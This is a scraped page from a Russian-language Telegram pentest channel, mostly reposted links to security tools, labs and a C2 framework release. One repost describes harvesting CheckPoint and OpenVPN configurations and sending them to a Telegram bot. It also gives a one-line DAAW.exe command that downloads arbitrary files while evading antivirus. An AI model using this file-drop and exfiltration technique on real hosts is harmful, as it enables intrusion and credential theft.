Fsecurity | HH
الذهاب إلى القناة على Telegram
👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb
إظهار المزيد2 067
المشتركون
+124 ساعات
-57 أيام
+130 أيام
أرشيف المشاركات
2 068
Repost from Pentest HaT
🎃 Awesome Hacker Search Engines
Большая подборка поисковиков, которые будут полезны ИТ специалистам, поиск по различным устройствам, эксплоитам, уязвимостям, исходным кодам и т.д.
➡️ https://awesome-hacker-search-engines.com
Постоянно пользуюсь сам:
▪️ Shodan
▪️ security.snyk.io
▪️ Exploit-DB
▪️ Sploitus
▪️ GTFOBins
▪️ LOLBAS
▪️ grep.app
▪️ DNSDumpster
▪️ Crt.sh
▪️ Have I Been Pwned
▪️ ntlm.pw
#search #security #servers #exploit
✈️ Pentest HaT
2 068
Repost from s0ld13r ch.
Кто любит VPN?! 😆
Последние дни я размышлял об аналитике в Red Team. В ходе операций важно проводить качественную энумерацию — даже мелкие находки могут усилить атаку. Так я задумался о корпоративных VPN 🤔
Доступ к VPN расширяет возможности для пивотинга и эскалации атаки. Я решил исследовать, как злоумышленник или Red Team могут использовать стандартные VPN-клиенты для разведки на хосте и обхода AV 🔫
Нашел пару use кейсов на примере клиента CheckPoint VPN:
В лог файле агента`C:\Program Files (x86)\CheckPoint\Endpoint Connect\trac.log` конфигурации подключения trac.config могут быть записаны в нешифрованном виде, что может дать информацию о VPN пирах, пользователе, типе подключения, есть ли 2FA и до каких подсетей может достучаться атакуемый пользователь 🤣
В качестве PoC написал инструмент для поиска конфигов на хосте 😠
Chocopie is a tool designed for reconnaissance on a host system, specifically to check for the presence of VPN configuration files. It scans the system drive (`C:\Users\`) for OpenVPN configuration files (`.ovpn`) and extracts VPN-related configurations from CheckPoint Endpoint Connect logs. The found data is then automatically sent to a Telegram bot.Второй кейс, есть возможность загрузить любой файлик с интернета при помощи компонента VPN агента на хост. Бинарь который способен скачать файл DAAW.exe (PoC ниже) ❗️ File Drop via Check Point VPN binaries:
C:\Program Files (x86)\CheckPoint\Endpoint Connect\DAAW.exe -url <URL> -fileName <PATH>Техника спалится в EDR из-за шумных флагов, но все же прикольный способ учитывая что обычный AV на него не ругнется из за чистых сигнатур. P.S Использовать только в целях изучения, автор против неправомерных действий без согласия владельцев систем @s0ld13r_ch
2 068
Repost from Adaptix Framework
AdaptixC2 v0.3 is out
https://github.com/Adaptix-Framework/AdaptixC2
New:
* Linking Agents (eg SMB)
* Sessions Graph
* Agent marker
* Health checker
* And more in the changelog
https://adaptix-framework.gitbook.io/adaptix-framework/changelog/v0.2-greater-than-v0.3
Репост/перепост приветствуется😉
2 068
Repost from Pentest HaT
⚙️ iximiuz Labs
Практические задания, направленные на развитие ваших навыков в области 🖥 DevOps и/или серверной разработки. Одни задачи имеют более образовательный характер, другие же базируются на реальных сценариях. Платформа предлагает подсказки и обратную связь для каждого задания, включая автоматизированную проверку решений.
В разделе с контейнерами 75 задач и 43 для кубика.
Задания рассчитаны как на новичков, так и на опытных специалистов.
Похоже на Сodewars, но для DevOps
Примеры некоторых заданий:
▪️Run a Container in Background, Read Logs, and Attach ▪️Install and Configure containerd on a Linux Host ▪️Build a Production-Ready Node.js Container Image: Nuxt Application ▪️Classic Sysadmin Task: Which Process Is Listening on a Port? ▪️Make a Kubernetes Pod Survive an OOM Event Without Restarting➡️ https://labs.iximiuz.com/challenges #devops #training #docker #kubernetes ✈️ Pentest HaT
2 068
Repost from Поросёнок Пётр
Малварь рисёрчеры и реверсеры видимо тоже скоро следом за веберами пойдут на курсы пекарей, электриков и плотников? 🤨
LaurieWired скрестила Ghidra с LLM. Получилось очень хорошо.
Ссылка на проект тут.
2 068
Repost from Linux для чайника
👨💻 Файловая система Linux. Описание на русском
#doc #cheatsheet #linux
2 068
WebSploit Labs - это учебная среда, созданная Омаром Сантосом для проведения различных тренингов по кибербезопасности, этическому взлому, поиску ошибок, реагированию на инциденты, цифровой криминалистике и поиску угроз. WebSploit Labs включает в себя несколько намеренно уязвимых приложений, работающих в контейнерах Docker поверх Kali Linux или Parrot Security OS, несколько дополнительных инструментов и более 9000 ресурсов для обеспечения кибербезопасности.
WebSploit Labs используется многими колледжами и университетами в разных странах. В нем содержится более 500 различных упражнений!
🔗Ссылка:
https://websploit.org/
